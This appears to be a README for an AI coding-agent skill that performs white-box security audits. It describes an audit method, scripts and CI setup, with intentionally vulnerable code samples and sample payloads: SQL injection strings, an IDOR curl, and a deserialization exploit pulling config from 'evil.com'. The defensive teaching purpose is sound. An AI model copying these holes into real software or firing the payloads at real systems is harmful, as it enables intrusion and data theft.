name	dfyx-code-security-auditor
description	Deep code security audit skill using white-box static analysis with 5-phase protocol covering 10 security dimensions across 9 languages
triggers	audit this code for security vulnerabilities, perform a security code review, scan for injection flaws and authentication issues, review code security using dfyx methodology, run deep security audit on this project, check for OWASP Top 10 vulnerabilities, analyze code for security weaknesses, conduct white-box security assessment

dfyx-code-security-auditor

Skill by ara.so — Security Skills collection.

Expert-level code security auditing based on deep data flow analysis and business logic understanding. Implements a standardized 5-phase white-box static analysis methodology to systematically discover and validate security vulnerabilities in source code.

What This Skill Does

dfyx_code_security_review provides systematic code security auditing through:

• Multi-language support: Java, Python, Go, PHP, JavaScript/Node.js, C/C++, .NET/C#, Ruby, Rust
• 10 security dimensions: Injection, Authentication, Authorization, Deserialization, File Operations, SSRF, Cryptography, Configuration, Business Logic, Supply Chain
• 3-track audit model: Sink-driven (injections), Control-driven (authorization/logic), Config-driven (configurations)
• 5-phase protocol: Reconnaissance → Pattern Matching → Taint Tracking → Validation → Reporting
• Real-world case library: Based on WooYun vulnerability cases (2010-2016)

Installation

This skill is designed to be used within AI coding agents that support custom skills.

For Claude Code:

cd ~/.claude/skills/
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git dfyx-code-security-auditor

For Cursor/Windsurf:

# Add to your .cursorrules or workspace configuration
# Copy the skill directory to your project's .ai/ folder
mkdir -p .ai/skills
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git .ai/skills/dfyx-code-security-auditor

Python Dependencies (for helper scripts):

pip install -r requirements.txt

Core Methodology

5-Phase Audit Protocol

Phase 1: Reconnaissance & Mapping (10%)
├─ Identify tech stack, frameworks, dependencies
├─ Map attack surface, entry points, data flows
└─ Output: Architecture diagram, attack surface inventory

Phase 2: Pattern Matching (30%)
├─ Parallel scanning across 10 dimensions
├─ Grep dangerous functions, missing controls
└─ Output: High-risk areas, candidate vulnerabilities

Phase 3: Deep Taint Tracking (40%)
├─ Trace data flows from sources to sinks
├─ Validate sanitization and security controls
└─ Output: Confirmed vulnerabilities with proof

Phase 4: Validation & Attack Chain (15%)
├─ Build exploit chains, test PoCs
├─ Cross-validate with multiple agents
└─ Output: Validated vulnerabilities with PoC

Phase 5: Structured Reporting (5%)
├─ Generate detailed reports
├─ Provide fix recommendations
└─ Output: Complete audit report

10 Security Dimensions

Dimension	Coverage	Method
D1: Injection	SQL, Command, LDAP, SSTI, SpEL, JNDI	Sink-driven: Find dangerous functions → trace input
D2: Authentication	Token, Session, JWT, Filter chains	Config-driven: Check implementation completeness
D3: Authorization	CRUD permissions, IDOR, horizontal privilege escalation	Control-driven: Verify controls exist
D4: Deserialization	Java/Python/PHP gadget chains	Sink-driven: Find unserialize() → trace input
D5: File Operations	Upload, download, path traversal	Sink-driven: Find file ops → validate sanitization
D6: SSRF	URL injection, protocol restrictions	Sink-driven: Find HTTP clients → trace URLs
D7: Cryptography	Key management, cipher modes, KDF	Config-driven: Check crypto implementations
D8: Configuration	Debug endpoints, CORS, info disclosure	Config-driven: Scan config files
D9: Business Logic	Race conditions, mass assignment, state machines	Control-driven: Model workflows → find gaps
D10: Supply Chain	Dependency CVEs, version checks	Config-driven: Scan dependencies

Audit Modes

Quick Mode (5-10 minutes)

Scope: Critical vulnerabilities, secrets, dependency CVEs
Use: CI/CD pipelines, small projects
Coverage: D1 (Injection), D10 (Supply Chain), Secret detection

Standard Mode (30-60 minutes)

Scope: OWASP Top 10, auth/authz, crypto
Use: Regular audits, pre-deployment checks
Coverage: D1-D8

Deep Mode (1-3 hours)

Scope: Full coverage, attack chains, business logic
Use: Major releases, penetration test prep
Coverage: D1-D10 + attack chain analysis

Usage Patterns

Basic Security Audit

Trigger the audit:

Audit this project for security vulnerabilities using deep mode

Expected workflow:

[MODE] deep
[RECON] Analyzing 874 files...
  Tech Stack: Spring Boot 1.5 + Apache Shiro 1.6 + JPA + Freemarker
  Entry Points: 43 REST endpoints, 12 template views
  Attack Surface: User input in 28 endpoints, file upload in 3

[PLAN] Deploying 5 parallel agents:
  Agent-D1: Injection vulnerabilities
  Agent-D234: Auth + Authz + Deserialization
  Agent-D567: File ops + SSRF + Crypto
  Agent-D89: Config + Business logic
  Agent-D10: Supply chain

Estimated: 125 turns, 90-120 minutes
Proceed? (yes/no)

Language-Specific Patterns

Java/Spring Boot Audit

// The skill will identify patterns like:

// VULNERABLE: SQL Injection
@GetMapping("/users")
public List<User> getUsers(@RequestParam String name) {
    String sql = "SELECT * FROM users WHERE name = '" + name + "'";
    return jdbcTemplate.query(sql, new UserRowMapper());
}

// VULNERABLE: Missing authorization
@GetMapping("/admin/users/{id}")
public User getUser(@PathVariable Long id) {
    return userRepository.findById(id).orElseThrow();
    // No @PreAuthorize check
}

// VULNERABLE: Insecure deserialization
@PostMapping("/import")
public void importData(@RequestBody byte[] data) {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject(); // Dangerous!
}

Audit command:

Review this Spring Boot application for injection flaws, missing authorization checks, and unsafe deserialization

Python/Flask Audit

# The skill will detect:

# VULNERABLE: Command injection
@app.route('/ping')
def ping():
    host = request.args.get('host')
    result = os.system(f'ping -c 4 {host}')  # No sanitization
    return str(result)

# VULNERABLE: SQL injection
@app.route('/search')
def search():
    query = request.args.get('q')
    sql = f"SELECT * FROM products WHERE name LIKE '%{query}%'"
    return db.execute(sql).fetchall()

# VULNERABLE: Path traversal
@app.route('/download/<path:filename>')
def download(filename):
    return send_file(f'/uploads/{filename}')  # No path validation

Audit command:

Scan this Flask app for command injection and path traversal vulnerabilities

PHP/Laravel Audit

// The skill will identify:

// VULNERABLE: SQL injection via raw queries
public function search(Request $request) {
    $keyword = $request->input('keyword');
    $users = DB::select("SELECT * FROM users WHERE name = '$keyword'");
    return view('results', ['users' => $users]);
}

// VULNERABLE: Mass assignment
public function updateProfile(Request $request) {
    $user = User::find($request->user_id);
    $user->update($request->all()); // Can modify is_admin, role, etc.
}

// VULNERABLE: Insecure file upload
public function upload(Request $request) {
    $file = $request->file('avatar');
    $path = $file->store('public/avatars'); // No type validation
}

Audit command:

Audit this Laravel application for SQL injection and mass assignment issues

JavaScript/Node.js Audit

// The skill will detect:

// VULNERABLE: NoSQL injection
app.get('/login', async (req, res) => {
  const { username, password } = req.query;
  const user = await User.findOne({ 
    username: username, 
    password: password  // Can be {"$ne": null}
  });
});

// VULNERABLE: Command injection
app.post('/convert', (req, res) => {
  const { file } = req.body;
  exec(`convert ${file} output.png`, (err, stdout) => {
    res.send(stdout);
  });
});

// VULNERABLE: Prototype pollution
app.post('/merge', (req, res) => {
  const obj = {};
  merge(obj, req.body); // Can set __proto__
});

Audit command:

Check this Express app for NoSQL injection and prototype pollution

Helper Scripts

Pattern Scanner

# Scan for dangerous patterns
python scripts/pattern_scanner.py /path/to/project --language java --output patterns.json

# Focus on specific dimensions
python scripts/pattern_scanner.py /path/to/project --dimensions D1,D4,D5

Data Flow Analyzer

# Trace data flows for specific sources
python scripts/data_flow_analyzer.py /path/to/project \
  --source "request.getParameter" \
  --sink "executeQuery"

# Output taint paths
python scripts/data_flow_analyzer.py /path/to/project \
  --output dataflow.json \
  --visualize

Secret Finder

# Detect hardcoded secrets
python scripts/secret_finder.py /path/to/project

# Custom patterns
python scripts/secret_finder.py /path/to/project \
  --patterns custom_patterns.yaml \
  --entropy-threshold 4.5

Dependency Analyzer

# Check for vulnerable dependencies
python scripts/dependency_analyzer.py /path/to/project

# Specific package managers
python scripts/dependency_analyzer.py /path/to/project \
  --package-manager maven,npm \
  --severity high,critical

Full Audit with Report

# Complete audit pipeline
python scripts/code_scan.py /path/to/project \
  --mode deep \
  --output results.json

# Generate formatted report
python scripts/report_generator.py \
  --input results.json \
  --output audit_report.md \
  --template templates/report-templates/web-app-report-template.md

Configuration

Audit Configuration File

Create .dfyx_audit.yaml in your project root:

# Audit configuration
mode: deep  # quick, standard, deep

# Scope
scope:
  include:
    - "src/**/*.java"
    - "controllers/**/*.py"
  exclude:
    - "test/**"
    - "vendor/**"
    - "node_modules/**"

# Dimensions to cover
dimensions:
  - D1  # Injection
  - D2  # Authentication
  - D3  # Authorization
  - D4  # Deserialization
  - D5  # File Operations
  - D6  # SSRF
  - D7  # Cryptography
  - D8  # Configuration
  - D9  # Business Logic
  - D10 # Supply Chain

# Sensitivity levels
severity_threshold: medium  # low, medium, high, critical

# Framework-specific settings
frameworks:
  spring:
    check_shiro_bypass: true
    check_spel_injection: true
  django:
    check_template_injection: true
    check_orm_injection: true

# Anti-hallucination settings
validation:
  require_evidence: true
  require_full_path: true
  require_poc: true  # For high/critical findings
  cross_validate: true  # Multi-agent validation

# Reporting
report:
  format: markdown  # markdown, json, html
  include_fix_examples: true
  include_attack_chains: true
  language: en  # en, zh

Environment Variables

# For Docker-based verification
export DOCKER_HOST=unix:///var/run/docker.sock

# For dependency vulnerability scanning
export NVD_API_KEY=${NVD_API_KEY}  # NIST NVD API key
export GITHUB_TOKEN=${GITHUB_TOKEN}  # For GitHub Advisory Database

# For custom tool integration
export SEMGREP_RULES_PATH=/path/to/custom/rules
export CODEQL_DATABASE_PATH=/path/to/codeql/db

Common Audit Scenarios

Pre-commit Security Check

# Quick mode for fast feedback
python scripts/code_scan.py . --mode quick --staged-only

# In Git hooks (.git/hooks/pre-commit)
#!/bin/bash
python scripts/code_scan.py . --mode quick --fail-on critical,high
if [ $? -ne 0 ]; then
  echo "Security issues found. Commit aborted."
  exit 1
fi

CI/CD Integration

# .github/workflows/security-audit.yml
name: Security Audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.11'
      
      - name: Install dependencies
        run: pip install -r requirements.txt
      
      - name: Run security audit
        run: |
          python scripts/code_scan.py . \
            --mode standard \
            --output security_report.json \
            --fail-on critical
      
      - name: Upload results
        uses: actions/upload-artifact@v3
        with:
          name: security-report
          path: security_report.json

API Security Review

User request:

Review these API endpoints for authentication and authorization issues:

/api/v1/users/{id}
/api/v1/admin/settings
/api/v1/orders/{orderId}/cancel

Skill workflow:

1. Maps all endpoints and their HTTP methods
2. Checks for authentication filters/middleware
3. Validates authorization logic for each endpoint
4. Tests for IDOR and privilege escalation
5. Reports missing controls

Database Layer Audit

User request:

Audit database queries for SQL injection in this repository

Skill process:

[Phase 1] Identifying database frameworks:
  - MyBatis 3.5.x (XML mappers + annotations)
  - JdbcTemplate (Spring)
  - Native JDBC in 3 files

[Phase 2] Pattern matching:
  - Found 45 parameterized queries (SAFE)
  - Found 8 string concatenations (REVIEW)
  - Found 2 dynamic ORDER BY (HIGH RISK)

[Phase 3] Taint analysis:
  File: UserMapper.xml:45
  Source: request.getParameter("sortBy")
  Path: controller → service → mapper
  Sink: ORDER BY ${sortBy}
  Sanitization: NONE
  Verdict: SQL INJECTION (Critical)

Vulnerability Detection Examples

Example 1: SQL Injection with Taint Tracking

Code:

// UserController.java
@GetMapping("/search")
public List<User> search(@RequestParam String keyword) {
    return userService.searchByName(keyword);
}

// UserService.java
public List<User> searchByName(String name) {
    return userRepository.findByNameLike(name);
}

// UserRepository.java
@Query(value = "SELECT * FROM users WHERE name LIKE '%" + 
               ":name" + "%'", nativeQuery = true)
List<User> findByNameLike(@Param("name") String name);

Audit output:

## [CRITICAL] SQL Injection in User Search

**Location:** `UserRepository.java:15`

**Data Flow:**
1. Source: `UserController.search()` - user input from `@RequestParam`
2. Propagation: `keyword` → `userService.searchByName(keyword)`
3. Sink: `@Query` with string concatenation in `findByNameLike()`

**Vulnerability:**
String concatenation in `@Query` bypasses parameter binding.

**Exploit:**

GET /search?keyword=admin'%20OR%20'1'='1 → SELECT * FROM users WHERE name LIKE '%admin' OR '1'='1%'

**Fix:**
```java
@Query(value = "SELECT * FROM users WHERE name LIKE %:name%", nativeQuery = true)
List<User> findByNameLike(@Param("name") String name);

### Example 2: Missing Authorization Check

**Code:**
```python
@app.route('/api/orders/<int:order_id>', methods=['DELETE'])
@login_required
def cancel_order(order_id):
    order = Order.query.get_or_404(order_id)
    order.status = 'cancelled'
    db.session.commit()
    return {'message': 'Order cancelled'}

Audit output:

## [HIGH] Horizontal Privilege Escalation - Missing Authorization

**Location:** `api/orders.py:45`

**Issue:**
Endpoint checks authentication (`@login_required`) but NOT authorization.
Any logged-in user can cancel ANY order.

**Attack:**
```bash
# User A (ID=10) cancels User B's order (ID=999)
curl -X DELETE https://api.example.com/api/orders/999 \
  -H "Authorization: Bearer <user_a_token>"

Fix:

@app.route('/api/orders/<int:order_id>', methods=['DELETE'])
@login_required
def cancel_order(order_id):
    order = Order.query.get_or_404(order_id)
    
    # Authorization check
    if order.user_id != current_user.id:
        abort(403, "Not authorized to cancel this order")
    
    order.status = 'cancelled'
    db.session.commit()
    return {'message': 'Order cancelled'}

### Example 3: Unsafe Deserialization

**Code:**
```java
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String data) {
    try {
        byte[] bytes = Base64.getDecoder().decode(data);
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(bytes)
        );
        Object obj = ois.readObject();
        processImport(obj);
        return ResponseEntity.ok("Import successful");
    } catch (Exception e) {
        return ResponseEntity.badRequest().body(e.getMessage());
    }
}

Audit output:

## [CRITICAL] Unsafe Deserialization → RCE

**Location:** `ImportController.java:23`

**Vulnerability:**
Deserializes untrusted user input without type validation.

**Gadget Chain (Spring Framework):**

org.springframework.context.support.FileSystemXmlApplicationContext → Load malicious XML config → Execute arbitrary code

**Exploit:**
```java
// Attacker creates malicious payload
FileSystemXmlApplicationContext ctx = 
    new FileSystemXmlApplicationContext("http://evil.com/exploit.xml");

byte[] payload = serialize(ctx);
String encoded = Base64.getEncoder().encodeToString(payload);

// Send to victim
POST /import
Content-Type: application/json

"<base64_payload>"

Fix - Option 1 (Whitelist):

@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String data) {
    try {
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(Base64.getDecoder().decode(data))
        ) {
            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) 
                    throws IOException, ClassNotFoundException {
                if (!desc.getName().equals("com.example.ImportData")) {
                    throw new InvalidClassException("Unauthorized class");
                }
                return super.resolveClass(desc);
            }
        };
        // ...

Fix - Option 2 (Use JSON):

@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody ImportDataDTO dto) {
    // Spring auto-deserializes from JSON (safe)
    processImport(dto);
    return ResponseEntity.ok("Import successful");
}

## Troubleshooting

### Issue: Too Many False Positives

**Solution:**
```yaml
# In .dfyx_audit.yaml
validation:
  require_evidence: true
  require_full_path: true
  require_poc: true
  cross_validate: true  # Enable multi-agent validation

# Also specify framework-aware sanitization
frameworks:
  spring:
    sanitizers:
      - "StringEscapeUtils.escapeSql"
      - "@Valid annotation"
  django:
    sanitizers:
      - "escape()"
      - "mark_safe()"

Or in prompt:

Audit this code but only report vulnerabilities with:
1. Complete taint paths from source to sink
2. Proof that no sanitization exists
3. Working PoC or exploit scenario

Issue: Missing Framework-Specific Vulnerabilities

Solution:

The audit missed Shiro authentication bypass. Please:
1. Check for Shiro version < 1.7.0
2. Look for servlet patterns like /admin/* vs /admin/;/dashboard
3. Review FilterChainDefinition configurations
4. Test for path traversal in URL patterns

Issue: Slow Audit Performance

Solution:

# Use quick mode for initial scan
python scripts/code_scan.py . --mode quick

# Then deep dive into high-risk areas
python scripts/code_scan.py src/controllers/ --mode deep --dimensions D1,D3

# Exclude third-party code
python scripts/code_scan.py . --exclude "vendor/**,node_modules/**"

Issue: Need Custom Detection Rules

Create custom rules:

# custom_rules.yaml
rules:
  - id: custom-ldap-injection
    pattern: |
      new InitialDirContext()
      ...
      .search($FILTER, ...)
    where:
      - $FILTER: user_controlled
    severity: high
    message: "Potential LDAP injection"
    
  - id: custom-jwt-alg-none
    pattern: |
      JWT.require(Algorithm.none())
    severity: critical
    message: "JWT algorithm 'none' allows signature bypass"

Use in audit:

python scripts/code_scan.py . --custom-rules custom_rules.yaml

Advanced Features

Attack Chain Analysis

Trigger:

Find attack chains that combine multiple vulnerabilities to achieve RCE

Output example:

## Attack Chain: IDOR + SQL Injection → Data Exfiltration

**Chain:**
1. IDOR in `/api/users/{id}/profile` (Missing authz check)
2. SQL Injection in profile's `bio` field update
3. Stored XSS in profile view (inadequate encoding)

**Exploitation:**
```bash
# Step 1: Access admin profile via IDOR
GET /api/users/1/profile
→ Returns admin data

# Step 2: Inject SQL in bio field
PUT /api/users/1/profile
{"bio": "' UNION SELECT password FROM users--"}

# Step 3: Admin views their profile, sees all passwords
# Step 4: Stored XSS steals admin session

Impact: Complete account takeover + data breach

### Docker-Based Verification

**Enable PoC validation:**
```bash
# Skill will automatically:
# 1. Spin up Docker container with vulnerable code
# 2. Execute exploit
# 3. Verify success
# 4. Tear down container

python scripts/vulnerability_validator.py \
  --vulnerability-id V-2024-001 \
  --docker-verify \
  --container-timeout 300

Compliance Mapping

Map findings to frameworks:

Generate audit report mapped to OWASP ASVS 4.0 and PCI DSS 4.0

Output includes:

## Compliance Summary

| Finding | OWASP ASVS | PCI DSS | CWE |
|---------|------------|---------|-----|
| SQL Injection in login | V5.3.4 | 6.5.1 | CWE-89 |
| Missing authz in API | V4.1.3 | 6.5.8 | CWE-639 |
| Weak crypto (MD5) | V6.2.1 | 6.5.3 | CWE-327 |

Best Practices

1. Run audits early and often

   • Quick mode in pre-commit hooks
   • Standard mode in CI/CD
   • Deep mode before releases

2. Prioritize by exploitability

   • Critical + easy to exploit → fix immediately
   • High + complex → schedule fix
   • Medium/Low → backlog

3. Validate in staging

   • Test PoCs in isolated environment
   • Verify fixes don't break functionality
   • Re-audit after fixes

4. Maintain audit history

   • Track findings over time
   • Measure remediation velocity
   • Identify recurring patterns

5. Customize for your stack

   • Add framework-specific rules
   • Define custom sanitizers
   • Build internal knowledge base

References

• Knowledge Base: resources/knowledge/ - 13 methodology documents
• WooYun Cases: resources/wooyun/ - Real-world vulnerability examples
• Detection Rules: resources/rules/ - Language-specific patterns
• Report Templates: templates/report-templates/ - Standardized outputs
• Example Audits: examples/ - Complete audit walkthroughs

---

Security Notice: This skill is for authorized security testing and code review only. Always obtain proper authorization before auditing code or systems you don't own.